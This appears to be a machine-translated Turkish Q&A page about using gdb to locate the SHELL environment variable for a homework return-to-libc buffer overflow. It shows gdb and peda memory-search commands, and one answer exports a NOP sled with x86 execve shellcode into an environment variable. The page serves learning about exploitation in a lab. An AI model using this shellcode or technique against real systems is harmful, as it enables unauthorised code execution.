web-gelistirme-sc.com

Bir arabellek taşmasından yararlanmak için gdb ile ortam değişkenleri bulma

Bir ödev için savunmasız bir C++ programında çok basit bir arabellek taşması kullanmak zorundayım ve Shell ortam değişkenini bulamıyorum.

Daha önce hiç BoF ile çalışmadım ve benzer birçok soru, gönderi vb.

  • Program, ortam değişkenlerini environ adlı genel bir değişkende saklar
  • Bu değişkenin adresini şöyle bulabilirsiniz:

    (gdb) info variable environ
    All variables matching regular expression "environ":
    
    Non-debugging symbols:
    0xb7fd1b00  __environ
    0xb7fd1b00  _environ
    0xb7fd1b00  environ
    
  • /bin/bash dize bir Shell başlatmak için bu değişken (zaten sistem ve çıkış adresleri var, ben sadece Shell yol gerekir). Ve burada ne yapacağımı bilmiyorum. Ben gdb öğreticiler okudum, ama yine de hiçbir şey. x/s 0xb7fd1b00 yararlı bir şey vermez.

12
Palantir

environ, char **environ türüne sahip olduğundan işaretçiye bir işaretçi.

Gibi bir şey denemek zorunda:

(gdb) x/s *((char **)environ)
0xbffff688:      "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b:      "Shell=/bin/bash"
16
J.D.
  • Ortam değişkenleri temel işaretçiden 16 bayttır (% ebp).
  • Ana fonksiyona bir kırılma noktası koyun ve bunu yapın,

(gdb) x/wx $ ebp + 0x10
0xffffd3f8: 0xffffd48c
(gdb) x/wx 0xffffd48c
0xffffd48c: 0xffffd67e
(gdb) x/s 0xffffd67e
0xffffd67e: "XDG_SEAT_PATH =/org/freedesktop/DisplayManager/Seat0"
(gdb) (gdb) x/wx 0xffffd48c + 4
0xffffd490: 0xffffd6b2
(gdb) x/s 0xffffd6b2
0xffffd6b2: "XDG_CONFIG_DIRS =/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/upstart/xdg:/etc/xdg"

Bu bloga bakın

4
h1dd3ntru7h

gdb için peda yüklüyse, bunu gdb'ye yazabilirsiniz:

gdb-peda$ searchmem Shell

Çıktı gösterecektir

Searching for 'Shell' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("Shell=/bin/bash")
2
redgetan

Ayrıca gdb için peda yüklüyse sadece "refsearch değişken_adı" kullanabilirsiniz.

misal:

Her şeyden önce ortama değişken (Shellcode gibi bir şey) eklemelisiniz.

(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))

Sonra gdb'yi örnek program ile açın, ana komutu kesin ve çalıştırın.

Program kesme noktasında durakladığında, komutun ardından ortam adresini arayabilirsiniz.

refsearch Shellcode

0
user147694